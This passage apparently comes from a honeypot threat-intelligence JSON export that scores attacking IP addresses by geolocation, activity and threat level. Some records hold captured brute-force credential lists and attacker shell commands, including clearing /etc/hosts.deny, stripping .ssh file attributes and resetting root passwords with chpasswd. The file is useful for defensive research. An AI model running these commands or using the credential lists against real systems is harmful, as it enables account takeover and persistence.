        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T10:23:21.911000+00:00",
        "last_seen_30d": "2026-04-12T10:24:36.578000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.168.29.111": {
      "attack_count": 2,
      "first_seen": "2026-04-05T04:14:52.279Z",
      "last_seen": "2026-04-05T04:15:04.634Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taoyuan District",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T04:14:52.279000+00:00",
        "last_seen_30d": "2026-04-05T04:16:11.430000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.252.234.206": {
      "attack_count": 2,
      "first_seen": "2026-04-05T09:34:26.485Z",
      "last_seen": "2026-04-05T09:34:58.059Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 134540,
      "as_org": "Tata Teleservices Maharashtra Ltd",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T09:34:26.485000+00:00",
        "last_seen_30d": "2026-04-05T09:36:07.838000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "147.185.132.247": {
      "attack_count": 2,
      "first_seen": "2026-04-10T23:39:29.999Z",
      "last_seen": "2026-04-10T23:39:39.805Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 74.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.0,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 28,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T00:35:50+00:00",
        "last_seen_30d": "2026-04-29T22:23:01.509000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 57,
        "Honeytrap": 20,
        "Cowrie": 2
      }
    },
    "153.215.143.14": {
      "attack_count": 2,
      "first_seen": "2026-04-06T12:07:16.424Z",
      "last_seen": "2026-04-06T12:07:21.875Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Yamaguchi",
      "asn": 4713,
      "as_org": "NTT DOCOMO BUSINESS,Inc.",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T12:07:16.424000+00:00",
        "last_seen_30d": "2026-04-06T12:08:28.720000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "153.34.121.150": {
      "attack_count": 2,
      "first_seen": "2026-04-30T16:33:12.948Z",
      "last_seen": "2026-04-30T16:35:12.956Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T10:55:54.255000+00:00",
        "last_seen_30d": "2026-04-30T16:38:57.209000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "181.94.227.103": {
      "attack_count": 2,
      "first_seen": "2026-04-29T13:10:45.883Z",
      "last_seen": "2026-04-29T13:10:57.933Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Asunci\u00f3n",
      "asn": 27895,
      "as_org": "Nucleo S.A.",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T13:10:45.883000+00:00",
        "last_seen_30d": "2026-04-29T13:12:03.703000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "194.36.81.71": {
      "attack_count": 2,
      "first_seen": "2026-04-26T11:13:55.043Z",
      "last_seen": "2026-04-26T11:15:55.072Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Derazhnya",
      "asn": 213389,
      "as_org": "Podolskie opticheskie seti Ltd.",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T11:13:55.043000+00:00",
        "last_seen_30d": "2026-04-26T11:26:52.270000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "198.199.94.79": {
      "attack_count": 2,
      "first_seen": "2026-04-26T23:10:07.589Z",
      "last_seen": "2026-04-26T23:10:38.349Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 28.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.0,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T16:33:17.423000+00:00",
        "last_seen_30d": "2026-04-26T23:11:42.066000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "205.210.31.201": {
      "attack_count": 2,
      "first_seen": "2026-04-13T03:53:53.595Z",
      "last_seen": "2026-04-13T03:53:53.948Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 81.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.7,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 26,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-05T18:26:06.806000+00:00",
        "last_seen_30d": "2026-04-30T19:33:39.266000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 64,
        "Honeytrap": 24,
        "Dionaea": 4,
        "Cowrie": 2
      }
    },
    "213.142.150.127": {
      "attack_count": 2,
      "first_seen": "2026-04-17T13:55:45.816Z",
      "last_seen": "2026-04-17T13:56:16.192Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 207459,
      "as_org": "Teknosos Bilisim Hizmetleri Ve Tic. Ltd. Sti.",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T13:55:45.816000+00:00",
        "last_seen_30d": "2026-04-17T13:57:20.745000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "219.78.118.130": {
      "attack_count": 2,
      "first_seen": "2026-04-10T22:31:58.119Z",
      "last_seen": "2026-04-10T22:32:10.461Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T22:31:58.119000+00:00",
        "last_seen_30d": "2026-04-10T22:33:16.439000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.167.234.137": {
      "attack_count": 2,
      "first_seen": "2026-04-14T23:59:03.659Z",
      "last_seen": "2026-04-14T23:59:15.581Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 140061,
      "as_org": "Qinghai Telecom",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T23:59:03.659000+00:00",
        "last_seen_30d": "2026-04-15T00:00:18.852000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "39.38.145.38": {
      "attack_count": 2,
      "first_seen": "2026-04-06T06:13:58.147Z",
      "last_seen": "2026-04-06T06:14:13.084Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Hafizabad",
      "asn": 17557,
      "as_org": "Pakistan Telecommunication Company Limited",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T06:13:58.147000+00:00",
        "last_seen_30d": "2026-04-06T06:15:20.200000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.212.50.147": {
      "attack_count": 2,
      "first_seen": "2026-04-15T03:00:04.945Z",
      "last_seen": "2026-04-15T03:00:36.100Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 15399,
      "as_org": "WANANCHI",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T03:00:04.945000+00:00",
        "last_seen_30d": "2026-04-15T03:01:39.382000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "49.42.92.42": {
      "attack_count": 2,
      "first_seen": "2026-04-30T16:21:01.882Z",
      "last_seen": "2026-04-30T16:21:18.567Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Rohtak",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T16:21:01.882000+00:00",
        "last_seen_30d": "2026-04-30T16:22:27.881000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.219.165.42": {
      "attack_count": 2,
      "first_seen": "2026-04-09T05:57:58.266Z",
      "last_seen": "2026-04-09T05:58:29.061Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T05:57:58.266000+00:00",
        "last_seen_30d": "2026-04-09T05:59:33.776000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "82.113.23.205": {
      "attack_count": 2,
      "first_seen": "2026-04-03T03:23:13.437Z",
      "last_seen": "2026-04-03T03:23:26.511Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Monaco",
      "country_code": "MC",
      "city": "Monaco",
      "asn": 6758,
      "as_org": "Monaco Telecom S.A.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T03:23:13.437000+00:00",
        "last_seen_30d": "2026-04-03T03:24:36.765000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "85.244.134.201": {
      "attack_count": 2,
      "first_seen": "2026-04-01T09:28:34.850Z",
      "last_seen": "2026-04-01T09:28:34.852Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Corroios",
      "asn": 3243,
      "as_org": "Servicos De Comunicacoes E Multimedia S.A.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T09:28:34.850000+00:00",
        "last_seen_30d": "2026-04-01T09:29:36.554000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.228.8.33": {
      "attack_count": 76160,
      "first_seen": "2026-04-11T19:05:54.324Z",
      "last_seen": "2026-04-25T09:52:07.683Z",
      "sessions": 25457,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "admins2",
        "adminss",
        "emo",
        "emoss",
        "issabel",
        "sangoma",
        "support",
        "supportss",
        "systems"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Washere2025",
        "Itsemoemo2025@Fuck@allPBX",
        "SangomaDefaultPassword",
        "sangoma"
      ],
      "commands_executed": [
        "hostname"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Serra",
      "asn": 267062,
      "as_org": "W-NET TELLECOM EIRELI ME",
      "threat_score": 72.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 12.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 318523,
        "days_active_30d": 15,
        "ports_targeted_30d": 67834,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-11T19:05:54.324000+00:00",
        "last_seen_30d": "2026-04-25T09:53:14.556000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 186652,
        "Cowrie": 76160,
        "Honeytrap": 55097,
        "Dionaea": 212,
        "ConPot": 182,
        "Dicompot": 64,
        "Redishoneypot": 54,
        "Miniprint": 39,
        "Adbhoney": 34,
        "H0neytr4p": 15,
        "Ciscoasa": 6,
        "Honeyaml": 3,
        "Tanner": 3,
        "ElasticPot": 2
      }
    },
    "141.98.11.83": {
      "attack_count": 4950,
      "first_seen": "2026-04-27T17:08:32.921Z",
      "last_seen": "2026-04-30T23:38:09.678Z",
      "sessions": 1409,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "dell",
        "test",
        "apache",
        "deploy",
        "fengyingchao",
        "hadoop",
        "jenkins",
        "mysql",
        "test01",
        "testuser",
        "zhaojie",
        "git",
        "DJ",
        "abms",
        "admnin",
        "aminuosi",
        "anna",
        "app"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1234",
        "111111",
        "1",
        "12345",
        "1q2w3e",
        "1qaz@WSX",
        "blabla123x!!!",
        "!@#$%^&*()",
        "!@#123!@#",
        "!Q@W#E4r5t6y",
        ")",
        ")(*&^",
        ".lo9,KI*umj7",
        "0JfoQUAH5qI=",
        "10301X",
        "1111",
        "11111111",
        "11223344Asdf"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Lithuania",
      "country_code": "LT",
      "city": "Vilnius",
      "asn": 209605,
      "as_org": "UAB Host Baltic",
      "threat_score": 45.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 8199,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T17:08:32.921000+00:00",
        "last_seen_30d": "2026-04-30T23:39:19.509000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4950,
        "Suricata": 3249
      }
    },
    "190.119.63.81": {
      "attack_count": 2156,
      "first_seen": "2026-04-01T01:15:16.012Z",
      "last_seen": "2026-04-09T17:20:53.747Z",
      "sessions": 496,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "esuser",
        "user",
        "admin",
        "flask",
        "gitlab",
        "test",
        "dolphinscheduler",
        "es",
        "guest",
        "postgres",
        "uftp",
        "www",
        "app",
        "elastic",
        "ftpuser",
        "lighthouse",
        "steam",
        "tom"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "abc123",
        "1",
        "password",
        "!QAZ@WSX",
        "111111",
        "12345678",
        "1234",
        "1qaz@WSX",
        "1qazXSW@",
        " ",
        "!QAZ2wsx",
        "!QAZ@wsx",
        "!qaz@WSX",
        "123321",
        "12345",
        "123456789",
        "1234567890",
        "1234qwer"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "Lima",
      "asn": 12252,
      "as_org": "America Movil Peru S.A.C.",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3409,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T01:15:16.012000+00:00",
        "last_seen_30d": "2026-04-09T17:21:59.152000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2156,
        "Suricata": 1253
      }
    },
    "147.50.227.79": {
      "attack_count": 992,
      "first_seen": "2026-04-03T15:52:46.168Z",
      "last_seen": "2026-04-20T17:05:36.829Z",
      "sessions": 93,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "ftpuser",
        "user",
        "deploy",
        "postgres",
        "bot",
        "kingbase",
        "odoo",
        "salim",
        "test",
        "csuser",
        "elk",
        "ftptest",
        "intern",
        "jin",
        "judith",
        "marc",
        "mo"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123456",
        "!1qaz@2wsx",
        "!QAZ2wsx#EDC",
        "1",
        "1111",
        "1234",
        "1234-qwerty",
        "1q2w3e4r5t",
        "1q2w3e4r5t.",
        "2wsx@WSX",
        "520250520",
        "@2025",
        "A123456F",
        "A123456s",
        "Asdf12345",
        "Bot26!",
        "CDtianrun888"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1q2w3e4r5t\\nEPtPOpAxY2IR\\nEPtPOpAxY2IR\\n\"|passwd",
        "echo \"Ftpuser08\\no8U3aiUVBOQm\\no8U3aiUVBOQm\\n\"|passwd",
        "echo \"kingbase\\nNP1voCN7DnOh\\nNP1voCN7DnOh\\n\"|passwd",
        "echo \"root:0ZDih9eouWr9\"|chpasswd|bash",
        "echo \"root:hqng6psAIOxz\"|chpasswd|bash",
        "echo \"root:ihMgXcNinoy8\"|chpasswd|bash",
        "echo \"root:ozk2W5FC5Ofw\"|chpasswd|bash",
        "echo \"salim\\nUGj1mQTBDNJv\\nUGj1mQTBDNJv\\n\"|passwd",
        "echo \"zaq1@WSX\\nQ3KeBVM2PrTv\\nQ3KeBVM2PrTv\\n\"|passwd",
        "echo -e \"1q2w3e4r5t\\nEPtPOpAxY2IR\\nEPtPOpAxY2IR\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 9891,
      "as_org": "CS LOXINFO Public Company Limited.",
      "threat_score": 38.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 1201,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T15:52:46.168000+00:00",
        "last_seen_30d": "2026-04-20T17:06:42.673000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 992,
        "Suricata": 209
      }
    },
    "118.193.34.157": {
      "attack_count": 498,
      "first_seen": "2026-04-01T10:45:01.181Z",
      "last_seen": "2026-04-09T06:56:08.453Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "useradmin",
        "ali",
        "demo",
        "deploy",
        "frappe",
        "oracle",
        "qwerty",
        "server",
        "testing",
        "webapp",
        "www"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "test",
        "123123",
        "1234",
        "123456.a",
        "123456qq!",
        "12345abcde",
        "1234qwer",
        "123QWE!@#",
        "1qaz9ol.",
        "2wsx3edc$",
        "5t6y7u8i",
        "654321",
        "66668888",
        "ABCabc123!@#",
        "Admin12345678@#",
        "Asd123!",
        "Asd123.",
        "Debian@1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
